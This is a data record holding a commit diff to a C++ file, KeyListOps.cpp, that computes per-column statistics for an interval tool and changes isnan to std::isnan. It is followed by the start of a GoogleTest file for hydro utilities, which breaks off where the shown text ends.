{"text":"<commit_before>\/*\n * KeyListOps.cpp\n *\n *  Created on: Feb 24, 2014\n *      Author: nek3d\n *\/\n#include \"KeyListOps.h\"\n#include \"FileRecordMgr.h\"\n#include <cmath> \/\/for isnan\n#include <sstream>\n#include <iomanip>\n\nKeyListOps::KeyListOps():\n_dbFileType(FileRecordTypeChecker::UNKNOWN_FILE_TYPE)\n{\n\t_opCodes[\"sum\"] = SUM;\n\t_opCodes[\"mean\"] = MEAN;\n\t_opCodes[\"stdev\"] = STDDEV;\n\t_opCodes[\"sstdev\"] = SAMPLE_STDDEV;\n\t_opCodes[\"median\"] = MEDIAN;\n\t_opCodes[\"mode\"] = MODE;\n\t_opCodes[\"antimode\"] = ANTIMODE;\n\t_opCodes[\"min\"] = MIN;\n\t_opCodes[\"max\"] = MAX;\n\t_opCodes[\"absmin\"] = ABSMIN;\n\t_opCodes[\"absmax\"] = ABSMAX;\n\t_opCodes[\"count\"] = COUNT;\n\t_opCodes[\"distinct\"] = DISTINCT;\n\t_opCodes[\"count_distinct\"] = COUNT_DISTINCT;\n\t_opCodes[\"distinct_only\"] = DISTINCT_ONLY;\n\t_opCodes[\"distinct_sort_num\"] = DISTINCT_SORT_NUM;\n\t_opCodes[\"distinct_sort_num_desc\"] = DISTINCT_SORT_NUM_DESC;\n\n\t_opCodes[\"collapse\"] = COLLAPSE;\n\t_opCodes[\"concat\"] = CONCAT;\n\t_opCodes[\"freqasc\"] = FREQ_ASC;\n\t_opCodes[\"freqdesc\"] = FREQ_DESC;\n\t_opCodes[\"first\"] = FIRST;\n\t_opCodes[\"last\"] = LAST;\n\n\t_isNumericOp[SUM] = true;\n\t_isNumericOp[MEAN] = true;\n\t_isNumericOp[STDDEV] = true;\n\t_isNumericOp[MEDIAN] = true;\n\t_isNumericOp[MODE] = false;\n\t_isNumericOp[ANTIMODE] = false;\n\t_isNumericOp[MIN] = true;\n\t_isNumericOp[MAX] = true;\n\t_isNumericOp[ABSMIN] = true;\n\t_isNumericOp[COUNT] = false;\n\t_isNumericOp[DISTINCT] = false;\n\t_isNumericOp[COUNT_DISTINCT] = false;\n\t_isNumericOp[DISTINCT_ONLY] = false;\n\t_isNumericOp[COLLAPSE] = false;\n\t_isNumericOp[CONCAT] = false;\n\t_isNumericOp[FREQ_ASC] = false;\n\t_isNumericOp[FREQ_DESC] = false;\n\t_isNumericOp[FIRST] = false;\n\t_isNumericOp[LAST] = false;\n\n\t_methods.setDelimStr(\",\");\n\t_methods.setNullValue(\".\");\n\n\t\/\/ default to BED score column\n\t_columns = \"5\";\n\t\/\/ default to \"sum\"\n\t_operations = \"sum\";\n\t_precision = DEFAULT_PRECISION;\n\n}\n\nbool KeyListOps::isNumericOp(OP_TYPES op) const {\n\tmap<OP_TYPES, bool>::const_iterator iter = _isNumericOp.find(op);\n\treturn (iter == _isNumericOp.end() ? false : iter->second);\n}\n\nbool KeyListOps::isNumericOp(const string &op) const {\n\treturn isNumericOp(getOpCode(op));\n}\n\nKeyListOps::OP_TYPES KeyListOps::getOpCode(const string &operation) const {\n\t\/\/If the operation does not exist, return INVALID.\n\t\/\/otherwise, return code for given operation.\n\tmap<string, OP_TYPES>::const_iterator iter = _opCodes.find(operation);\n\tif (iter == _opCodes.end()) {\n\t\treturn INVALID;\n\t}\n\treturn iter->second;\n}\n\n\nbool KeyListOps::isValidColumnOps(FileRecordMgr *dbFile) {\n\n\t\/\/get the strings from context containing the comma-delimited lists of columns\n\t\/\/and operations. Split both of these into vectors. Get the operation code\n\t\/\/for each operation string. Finally, make a vector of pairs, where the first\n\t\/\/member of each pair is a column number, and the second member is the code for the\n\t\/\/operation to perform on that column.\n\n    Tokenizer colTokens;\n    Tokenizer opsTokens;\n\n    int numCols = colTokens.tokenize(_columns, ',');\n\tint numOps = opsTokens.tokenize(_operations, ',');\n\n\tif (numOps < 1 || numCols < 1) {\n\t\t cerr << endl << \"*****\" << endl\n\t\t             << \"***** ERROR: There must be at least one column and at least one operation named.\" << endl;\n\t\t return false;\n\t}\n\tif (numOps > 1 && numCols > 1 && numCols != numOps) {\n\t\t cerr << endl << \"*****\" << endl\n\t\t             << \"***** ERROR: There are \" << numCols <<\" columns given, but there are \" << numOps << \" operations.\" << endl;\n\t\tcerr << \"\\tPlease provide either a single operation that will be applied to all listed columns, \" << endl;\n\t\tcerr << \"\\ta single column to which all operations will be applied,\" << endl;\n\t\tcerr << \"\\tor an operation for each column.\" << endl;\n\t\treturn false;\n\t}\n\tint loop = max(numCols, numOps);\n\n\t\/\/ If there is only one column, all ops are performed on it.\n\t\/\/ Otherwise, if there is only op, it is performed on all columns.\n\t\/\/ Besides that, ops are performed on columns in their respective\n\t\/\/ ordering.\n\n\tfor (int i=0; i < loop; i++) {\n\t\tint col = str2chrPos(colTokens.getElem(numCols > 1 ? i : 0));\n\n\t\t\/\/check that the column number is valid\n\t\tif (col < 1 || col > dbFile->getNumFields()) {\n\t\t\t cerr << endl << \"*****\" << endl  << \"***** ERROR: Requested column \" << col << \", but database file \"\n\t\t\t\t\t << dbFile->getFileName() << \" only has fields 1 - \" << dbFile->getNumFields() << \".\" << endl;\n\t\t\t return false;\n\t\t}\n\t\tconst string &operation = opsTokens.getElem(numOps > 1 ? i : 0);\n\t\tOP_TYPES opCode = getOpCode(operation);\n\t\tif (opCode == INVALID) {\n\t\t\tcerr << endl << \"*****\" << endl\n\t\t\t\t\t\t\t\t << \"***** ERROR: \" << operation << \" is not a valid operation. \" << endl;\n\t\t\treturn false;\n\t\t}\n\t\t_colOps.push_back(pair<int, OP_TYPES>(col, opCode));\n\t}\n\n\t\/\/lastly, if the file is BAM, and they asked for column 2, which is the\n\t\/\/flags field, then for now we have to throw an error, as the flag field\n\t\/\/is currently not supported.\n\tif (_dbFileType == FileRecordTypeChecker::BAM_FILE_TYPE) {\n\t\t\/\/also, tell the methods class we're dealing with BAM.\n\t\t_methods.setIsBam(true);\n\t\tfor (size_t i = 0; i < _colOps.size(); i++) {\n\t\t\tif (_colOps[i].first == 2) {\n\t\t\t\tcerr << endl << \"*****\" << endl << \"***** ERROR: Requested column 2 of a BAM file, which is the Flags field.\" << endl;\n\t\t\t\tcerr << \"             We currently do not support this, but may in future versions.\" << endl;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\n    return true;\n}\n\nconst string & KeyListOps::getOpVals(RecordKeyVector &hits)\n{\n\t\/\/loop through all requested columns, and for each one, call the method needed\n\t\/\/for the operation specified.\n\t_methods.setKeyList(&hits);\n\t_outVals.clear();\n\tdouble val = 0.0;\n\tfor (int i=0; i < (int)_colOps.size(); i++) {\n\t\tostringstream s;\n\t\tint col = _colOps[i].first;\n\t\tOP_TYPES opCode = _colOps[i].second;\n\n\t\t_methods.setColumn(col);\n\t\tswitch (opCode) {\n\t\tcase SUM:\n\t\t\tval = _methods.getSum();\n\t\t\tif (isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase MEAN:\n\t\t\tval = _methods.getMean();\n\t\t\tif (isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase STDDEV:\n\t\t\tval = _methods.getStddev();\n\t\t\tif (isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase SAMPLE_STDDEV:\n\t\t\tval = _methods.getSampleStddev();\n\t\t\tif (isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase MEDIAN:\n\t\t\tval = _methods.getMedian();\n\t\t\tif (isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase MODE:\n\t\t\ts << _methods.getMode();\n\t\t\tbreak;\n\n\t\tcase ANTIMODE:\n\t\t\ts << _methods.getAntiMode();\n\t\t\tbreak;\n\n\t\tcase MIN:\n\t\t\tval = _methods.getMin();\n\t\t\tif (isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase MAX:\n\t\t\tval = _methods.getMax();\n\t\t\tif (isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase ABSMIN:\n\t\t\tval = _methods.getAbsMin();\n\t\t\tif (isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase ABSMAX:\n\t\t\tval = _methods.getAbsMax();\n\t\t\tif (isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase COUNT:\n\t\t\ts << _methods.getCount();\n\t\t\tbreak;\n\n\t\tcase DISTINCT:\n\t\t\ts << _methods.getDistinct();\n\t\t\tbreak;\n\n\t\tcase DISTINCT_SORT_NUM:\n\t\t\ts << _methods.getDistinctSortNum();\n\t\t\tbreak;\n\n\t\tcase DISTINCT_SORT_NUM_DESC:\n\t\t\ts << _methods.getDistinctSortNum(false);\n\t\t\tbreak;\n\n\t\tcase COUNT_DISTINCT:\n\t\t\ts << _methods.getCountDistinct();\n\t\t\tbreak;\n\n\t\tcase DISTINCT_ONLY:\n\t\t\ts << _methods.getDistinctOnly();\n\t\t\tbreak;\n\n\t\tcase COLLAPSE:\n\t\t\ts << _methods.getCollapse();\n\t\t\tbreak;\n\n\t\tcase CONCAT:\n\t\t\ts << _methods.getConcat();\n\t\t\tbreak;\n\n\t\tcase FREQ_ASC:\n\t\t\ts << _methods.getFreqAsc();\n\t\t\tbreak;\n\n\t\tcase FREQ_DESC:\n\t\t\ts << _methods.getFreqDesc();\n\t\t\tbreak;\n\n\t\tcase FIRST:\n\t\t\ts << _methods.getFirst();\n\t\t\tbreak;\n\n\t\tcase LAST:\n\t\t\ts << _methods.getLast();\n\t\t\tbreak;\n\n\t\tcase INVALID:\n\t\tdefault:\n\t\t\t\/\/ Any unrecognized operation should have been handled already in the context validation.\n\t\t\t\/\/ It's thus unnecessary to handle it here, but throw an error to help us know if future\n\t\t\t\/\/ refactoring or code changes accidentally bypass the validation phase.\n\t\t\tcerr << \"ERROR: Invalid operation given for column \" << col << \". Exiting...\" << endl;\n\t\t\tbreak;\n\t\t}\n\t\t_outVals.append(s.str());\n\t\t\/\/if this isn't the last column, add a tab.\n\t\tif (i < (int)_colOps.size() -1) {\n\t\t\t_outVals.append(\"\\t\");\n\t\t}\n\t}\n\tif (_methods.nonNumErrFlagSet()) {\n\t\t\/\/asked for a numeric op on a column in which a non numeric value was found.\n\t\tcerr << _methods.getErrMsg() << endl;\n\t\t_methods.resetNonNumErrFlag();\n\t}\n\treturn _outVals;\n}\n\nconst string &KeyListOps::format(double val)\n{\n   std::stringstream strmBuf;\n   strmBuf << std::setprecision (_precision) << val;\n   _formatStr = strmBuf.str();\n   return _formatStr;\n}\n\nvoid KeyListOpsHelp() {\n\n    cerr << \"\\t-c\\t\"             << \"Specify columns from the B file to map onto intervals in A.\" << endl;\n    cerr                         << \"\\t\\tDefault: 5.\" << endl;\n    cerr\t\t\t\t\t\t<<  \"\\t\\tMultiple columns can be specified in a comma-delimited list.\" << endl << endl;\n\n    cerr << \"\\t-o\\t\"             << \"Specify the operation that should be applied to -c.\" << endl;\n    cerr                         << \"\\t\\tValid operations:\" << endl;\n    cerr                         << \"\\t\\t    sum, min, max, absmin, absmax,\" << endl;\n    cerr                         << \"\\t\\t    mean, median, mode, antimode\" << endl;\n    cerr                         << \"\\t\\t    stdev, sstdev\" << endl;\n    cerr                         << \"\\t\\t    collapse (i.e., print a delimited list (duplicates allowed)), \" << endl;\n    cerr                         << \"\\t\\t    distinct (i.e., print a delimited list (NO duplicates allowed)), \" << endl;\n    cerr                         << \"\\t\\t    distinct_sort_num (as distinct, sorted numerically, ascending),\" << endl;\n    cerr                         << \"\\t\\t    distinct_sort_num_desc (as distinct, sorted numerically, desscending),\" << endl;\n    cerr                         << \"\\t\\t    distinct_only (delimited list of only unique values),\" << endl;\n    cerr                         << \"\\t\\t    count\" << endl;\n    cerr                         << \"\\t\\t    count_distinct (i.e., a count of the unique values in the column), \" << endl;\n    cerr                         << \"\\t\\t    first (i.e., just the first value in the column), \" << endl;\n    cerr                         << \"\\t\\t    last (i.e., just the last value in the column), \" << endl;\n    cerr                         << \"\\t\\tDefault: sum\" << endl;\n    cerr\t\t\t\t\t\t << \"\\t\\tMultiple operations can be specified in a comma-delimited list.\" << endl << endl;\n\n    cerr\t\t\t\t\t\t<< \"\\t\\tIf there is only column, but multiple operations, all operations will be\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tapplied on that column. Likewise, if there is only one operation, but\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tmultiple columns, that operation will be applied to all columns.\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tOtherwise, the number of columns must match the the number of operations,\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tand will be applied in respective order.\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tE.g., \\\"-c 5,4,6 -o sum,mean,count\\\" will give the sum of column 5,\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tthe mean of column 4, and the count of column 6.\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tThe order of output columns will match the ordering given in the command.\" << endl << endl<<endl;\n\n    cerr << \"\\t-delim\\t\"                 << \"Specify a custom delimiter for the collapse operations.\" << endl;\n    cerr                                 << \"\\t\\t- Example: -delim \\\"|\\\"\" << endl;\n    cerr                                 << \"\\t\\t- Default: \\\",\\\".\" << endl << endl;\n\n    cerr << \"\\t-prec\\t\"   \t\t << \"Sets the decimal precision for output (Default: 5)\" << endl << endl;\n}\n<commit_msg>specified which version of isnan to use in KeyListOps<commit_after>\/*\n * KeyListOps.cpp\n *\n *  Created on: Feb 24, 2014\n *      Author: nek3d\n *\/\n#include \"KeyListOps.h\"\n#include \"FileRecordMgr.h\"\n#include <cmath> \/\/for std::isnan\n#include <sstream>\n#include <iomanip>\n\nKeyListOps::KeyListOps():\n_dbFileType(FileRecordTypeChecker::UNKNOWN_FILE_TYPE)\n{\n\t_opCodes[\"sum\"] = SUM;\n\t_opCodes[\"mean\"] = MEAN;\n\t_opCodes[\"stdev\"] = STDDEV;\n\t_opCodes[\"sstdev\"] = SAMPLE_STDDEV;\n\t_opCodes[\"median\"] = MEDIAN;\n\t_opCodes[\"mode\"] = MODE;\n\t_opCodes[\"antimode\"] = ANTIMODE;\n\t_opCodes[\"min\"] = MIN;\n\t_opCodes[\"max\"] = MAX;\n\t_opCodes[\"absmin\"] = ABSMIN;\n\t_opCodes[\"absmax\"] = ABSMAX;\n\t_opCodes[\"count\"] = COUNT;\n\t_opCodes[\"distinct\"] = DISTINCT;\n\t_opCodes[\"count_distinct\"] = COUNT_DISTINCT;\n\t_opCodes[\"distinct_only\"] = DISTINCT_ONLY;\n\t_opCodes[\"distinct_sort_num\"] = DISTINCT_SORT_NUM;\n\t_opCodes[\"distinct_sort_num_desc\"] = DISTINCT_SORT_NUM_DESC;\n\n\t_opCodes[\"collapse\"] = COLLAPSE;\n\t_opCodes[\"concat\"] = CONCAT;\n\t_opCodes[\"freqasc\"] = FREQ_ASC;\n\t_opCodes[\"freqdesc\"] = FREQ_DESC;\n\t_opCodes[\"first\"] = FIRST;\n\t_opCodes[\"last\"] = LAST;\n\n\t_isNumericOp[SUM] = true;\n\t_isNumericOp[MEAN] = true;\n\t_isNumericOp[STDDEV] = true;\n\t_isNumericOp[MEDIAN] = true;\n\t_isNumericOp[MODE] = false;\n\t_isNumericOp[ANTIMODE] = false;\n\t_isNumericOp[MIN] = true;\n\t_isNumericOp[MAX] = true;\n\t_isNumericOp[ABSMIN] = true;\n\t_isNumericOp[COUNT] = false;\n\t_isNumericOp[DISTINCT] = false;\n\t_isNumericOp[COUNT_DISTINCT] = false;\n\t_isNumericOp[DISTINCT_ONLY] = false;\n\t_isNumericOp[COLLAPSE] = false;\n\t_isNumericOp[CONCAT] = false;\n\t_isNumericOp[FREQ_ASC] = false;\n\t_isNumericOp[FREQ_DESC] = false;\n\t_isNumericOp[FIRST] = false;\n\t_isNumericOp[LAST] = false;\n\n\t_methods.setDelimStr(\",\");\n\t_methods.setNullValue(\".\");\n\n\t\/\/ default to BED score column\n\t_columns = \"5\";\n\t\/\/ default to \"sum\"\n\t_operations = \"sum\";\n\t_precision = DEFAULT_PRECISION;\n\n}\n\nbool KeyListOps::isNumericOp(OP_TYPES op) const {\n\tmap<OP_TYPES, bool>::const_iterator iter = _isNumericOp.find(op);\n\treturn (iter == _isNumericOp.end() ? false : iter->second);\n}\n\nbool KeyListOps::isNumericOp(const string &op) const {\n\treturn isNumericOp(getOpCode(op));\n}\n\nKeyListOps::OP_TYPES KeyListOps::getOpCode(const string &operation) const {\n\t\/\/If the operation does not exist, return INVALID.\n\t\/\/otherwise, return code for given operation.\n\tmap<string, OP_TYPES>::const_iterator iter = _opCodes.find(operation);\n\tif (iter == _opCodes.end()) {\n\t\treturn INVALID;\n\t}\n\treturn iter->second;\n}\n\n\nbool KeyListOps::isValidColumnOps(FileRecordMgr *dbFile) {\n\n\t\/\/get the strings from context containing the comma-delimited lists of columns\n\t\/\/and operations. Split both of these into vectors. Get the operation code\n\t\/\/for each operation string. Finally, make a vector of pairs, where the first\n\t\/\/member of each pair is a column number, and the second member is the code for the\n\t\/\/operation to perform on that column.\n\n    Tokenizer colTokens;\n    Tokenizer opsTokens;\n\n    int numCols = colTokens.tokenize(_columns, ',');\n\tint numOps = opsTokens.tokenize(_operations, ',');\n\n\tif (numOps < 1 || numCols < 1) {\n\t\t cerr << endl << \"*****\" << endl\n\t\t             << \"***** ERROR: There must be at least one column and at least one operation named.\" << endl;\n\t\t return false;\n\t}\n\tif (numOps > 1 && numCols > 1 && numCols != numOps) {\n\t\t cerr << endl << \"*****\" << endl\n\t\t             << \"***** ERROR: There are \" << numCols <<\" columns given, but there are \" << numOps << \" operations.\" << endl;\n\t\tcerr << \"\\tPlease provide either a single operation that will be applied to all listed columns, \" << endl;\n\t\tcerr << \"\\ta single column to which all operations will be applied,\" << endl;\n\t\tcerr << \"\\tor an operation for each column.\" << endl;\n\t\treturn false;\n\t}\n\tint loop = max(numCols, numOps);\n\n\t\/\/ If there is only one column, all ops are performed on it.\n\t\/\/ Otherwise, if there is only op, it is performed on all columns.\n\t\/\/ Besides that, ops are performed on columns in their respective\n\t\/\/ ordering.\n\n\tfor (int i=0; i < loop; i++) {\n\t\tint col = str2chrPos(colTokens.getElem(numCols > 1 ? i : 0));\n\n\t\t\/\/check that the column number is valid\n\t\tif (col < 1 || col > dbFile->getNumFields()) {\n\t\t\t cerr << endl << \"*****\" << endl  << \"***** ERROR: Requested column \" << col << \", but database file \"\n\t\t\t\t\t << dbFile->getFileName() << \" only has fields 1 - \" << dbFile->getNumFields() << \".\" << endl;\n\t\t\t return false;\n\t\t}\n\t\tconst string &operation = opsTokens.getElem(numOps > 1 ? i : 0);\n\t\tOP_TYPES opCode = getOpCode(operation);\n\t\tif (opCode == INVALID) {\n\t\t\tcerr << endl << \"*****\" << endl\n\t\t\t\t\t\t\t\t << \"***** ERROR: \" << operation << \" is not a valid operation. \" << endl;\n\t\t\treturn false;\n\t\t}\n\t\t_colOps.push_back(pair<int, OP_TYPES>(col, opCode));\n\t}\n\n\t\/\/lastly, if the file is BAM, and they asked for column 2, which is the\n\t\/\/flags field, then for now we have to throw an error, as the flag field\n\t\/\/is currently not supported.\n\tif (_dbFileType == FileRecordTypeChecker::BAM_FILE_TYPE) {\n\t\t\/\/also, tell the methods class we're dealing with BAM.\n\t\t_methods.setIsBam(true);\n\t\tfor (size_t i = 0; i < _colOps.size(); i++) {\n\t\t\tif (_colOps[i].first == 2) {\n\t\t\t\tcerr << endl << \"*****\" << endl << \"***** ERROR: Requested column 2 of a BAM file, which is the Flags field.\" << endl;\n\t\t\t\tcerr << \"             We currently do not support this, but may in future versions.\" << endl;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\n    return true;\n}\n\nconst string & KeyListOps::getOpVals(RecordKeyVector &hits)\n{\n\t\/\/loop through all requested columns, and for each one, call the method needed\n\t\/\/for the operation specified.\n\t_methods.setKeyList(&hits);\n\t_outVals.clear();\n\tdouble val = 0.0;\n\tfor (int i=0; i < (int)_colOps.size(); i++) {\n\t\tostringstream s;\n\t\tint col = _colOps[i].first;\n\t\tOP_TYPES opCode = _colOps[i].second;\n\n\t\t_methods.setColumn(col);\n\t\tswitch (opCode) {\n\t\tcase SUM:\n\t\t\tval = _methods.getSum();\n\t\t\tif (std::isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase MEAN:\n\t\t\tval = _methods.getMean();\n\t\t\tif (std::isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase STDDEV:\n\t\t\tval = _methods.getStddev();\n\t\t\tif (std::isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase SAMPLE_STDDEV:\n\t\t\tval = _methods.getSampleStddev();\n\t\t\tif (std::isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase MEDIAN:\n\t\t\tval = _methods.getMedian();\n\t\t\tif (std::isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase MODE:\n\t\t\ts << _methods.getMode();\n\t\t\tbreak;\n\n\t\tcase ANTIMODE:\n\t\t\ts << _methods.getAntiMode();\n\t\t\tbreak;\n\n\t\tcase MIN:\n\t\t\tval = _methods.getMin();\n\t\t\tif (std::isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase MAX:\n\t\t\tval = _methods.getMax();\n\t\t\tif (std::isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase ABSMIN:\n\t\t\tval = _methods.getAbsMin();\n\t\t\tif (std::isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase ABSMAX:\n\t\t\tval = _methods.getAbsMax();\n\t\t\tif (std::isnan(val)) {\n\t\t\t\ts << _methods.getNullValue();\n\t\t\t} else {\n\t\t\t\ts << format(val);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase COUNT:\n\t\t\ts << _methods.getCount();\n\t\t\tbreak;\n\n\t\tcase DISTINCT:\n\t\t\ts << _methods.getDistinct();\n\t\t\tbreak;\n\n\t\tcase DISTINCT_SORT_NUM:\n\t\t\ts << _methods.getDistinctSortNum();\n\t\t\tbreak;\n\n\t\tcase DISTINCT_SORT_NUM_DESC:\n\t\t\ts << _methods.getDistinctSortNum(false);\n\t\t\tbreak;\n\n\t\tcase COUNT_DISTINCT:\n\t\t\ts << _methods.getCountDistinct();\n\t\t\tbreak;\n\n\t\tcase DISTINCT_ONLY:\n\t\t\ts << _methods.getDistinctOnly();\n\t\t\tbreak;\n\n\t\tcase COLLAPSE:\n\t\t\ts << _methods.getCollapse();\n\t\t\tbreak;\n\n\t\tcase CONCAT:\n\t\t\ts << _methods.getConcat();\n\t\t\tbreak;\n\n\t\tcase FREQ_ASC:\n\t\t\ts << _methods.getFreqAsc();\n\t\t\tbreak;\n\n\t\tcase FREQ_DESC:\n\t\t\ts << _methods.getFreqDesc();\n\t\t\tbreak;\n\n\t\tcase FIRST:\n\t\t\ts << _methods.getFirst();\n\t\t\tbreak;\n\n\t\tcase LAST:\n\t\t\ts << _methods.getLast();\n\t\t\tbreak;\n\n\t\tcase INVALID:\n\t\tdefault:\n\t\t\t\/\/ Any unrecognized operation should have been handled already in the context validation.\n\t\t\t\/\/ It's thus unnecessary to handle it here, but throw an error to help us know if future\n\t\t\t\/\/ refactoring or code changes accidentally bypass the validation phase.\n\t\t\tcerr << \"ERROR: Invalid operation given for column \" << col << \". Exiting...\" << endl;\n\t\t\tbreak;\n\t\t}\n\t\t_outVals.append(s.str());\n\t\t\/\/if this isn't the last column, add a tab.\n\t\tif (i < (int)_colOps.size() -1) {\n\t\t\t_outVals.append(\"\\t\");\n\t\t}\n\t}\n\tif (_methods.nonNumErrFlagSet()) {\n\t\t\/\/asked for a numeric op on a column in which a non numeric value was found.\n\t\tcerr << _methods.getErrMsg() << endl;\n\t\t_methods.resetNonNumErrFlag();\n\t}\n\treturn _outVals;\n}\n\nconst string &KeyListOps::format(double val)\n{\n   std::stringstream strmBuf;\n   strmBuf << std::setprecision (_precision) << val;\n   _formatStr = strmBuf.str();\n   return _formatStr;\n}\n\nvoid KeyListOpsHelp() {\n\n    cerr << \"\\t-c\\t\"             << \"Specify columns from the B file to map onto intervals in A.\" << endl;\n    cerr                         << \"\\t\\tDefault: 5.\" << endl;\n    cerr\t\t\t\t\t\t<<  \"\\t\\tMultiple columns can be specified in a comma-delimited list.\" << endl << endl;\n\n    cerr << \"\\t-o\\t\"             << \"Specify the operation that should be applied to -c.\" << endl;\n    cerr                         << \"\\t\\tValid operations:\" << endl;\n    cerr                         << \"\\t\\t    sum, min, max, absmin, absmax,\" << endl;\n    cerr                         << \"\\t\\t    mean, median, mode, antimode\" << endl;\n    cerr                         << \"\\t\\t    stdev, sstdev\" << endl;\n    cerr                         << \"\\t\\t    collapse (i.e., print a delimited list (duplicates allowed)), \" << endl;\n    cerr                         << \"\\t\\t    distinct (i.e., print a delimited list (NO duplicates allowed)), \" << endl;\n    cerr                         << \"\\t\\t    distinct_sort_num (as distinct, sorted numerically, ascending),\" << endl;\n    cerr                         << \"\\t\\t    distinct_sort_num_desc (as distinct, sorted numerically, desscending),\" << endl;\n    cerr                         << \"\\t\\t    distinct_only (delimited list of only unique values),\" << endl;\n    cerr                         << \"\\t\\t    count\" << endl;\n    cerr                         << \"\\t\\t    count_distinct (i.e., a count of the unique values in the column), \" << endl;\n    cerr                         << \"\\t\\t    first (i.e., just the first value in the column), \" << endl;\n    cerr                         << \"\\t\\t    last (i.e., just the last value in the column), \" << endl;\n    cerr                         << \"\\t\\tDefault: sum\" << endl;\n    cerr\t\t\t\t\t\t << \"\\t\\tMultiple operations can be specified in a comma-delimited list.\" << endl << endl;\n\n    cerr\t\t\t\t\t\t<< \"\\t\\tIf there is only column, but multiple operations, all operations will be\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tapplied on that column. Likewise, if there is only one operation, but\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tmultiple columns, that operation will be applied to all columns.\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tOtherwise, the number of columns must match the the number of operations,\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tand will be applied in respective order.\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tE.g., \\\"-c 5,4,6 -o sum,mean,count\\\" will give the sum of column 5,\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tthe mean of column 4, and the count of column 6.\" << endl;\n    cerr\t\t\t\t\t\t<< \"\\t\\tThe order of output columns will match the ordering given in the command.\" << endl << endl<<endl;\n\n    cerr << \"\\t-delim\\t\"                 << \"Specify a custom delimiter for the collapse operations.\" << endl;\n    cerr                                 << \"\\t\\t- Example: -delim \\\"|\\\"\" << endl;\n    cerr                                 << \"\\t\\t- Default: \\\",\\\".\" << endl << endl;\n\n    cerr << \"\\t-prec\\t\"   \t\t << \"Sets the decimal precision for output (Default: 5)\" << endl << endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*!\n * \\file hyo_utilities_tests.cpp\n * \\author Robert 'Bob' Caddy (rvc@pitt.edu), Helena Richie (helenarichie@pitt.edu)\n * \\brief Tests for the contents of hydro_utilities.h and hydro_utilities.cpp\n *\n *\/\n\n\/\/ STL Includes\n#include <vector>\n#include <string>\n#include <iostream>\n\n\/\/ External Includes\n#include <gtest\/gtest.h>    \/\/ Include GoogleTest and related libraries\/headers\n\n\/\/ Local Includes\n#include \"..\/utils\/testing_utilities.h\"\n#include \"..\/utils\/hydro_utilities.h\"\n#include \"..\/global\/global.h\"\n\n\/*!\n* INDEX OF VARIABLES\n* P : pressure\n* vx, vy, vz : x, y, and z velocity\n* d : density\n* E : energy\n* T : temperature\n* mx, my, mz : x, y, and z momentum\n* n : number density\n*\/\n\n\/\/ =============================================================================\n\/\/ Local helper functions\n\nnamespace\n{\n    struct TestParams\n    {\n        double gamma = 5.\/3.;\n        std::vector<double> d {1.0087201154e-100, 1.0756968986e2, 1.0882403847e100};\n     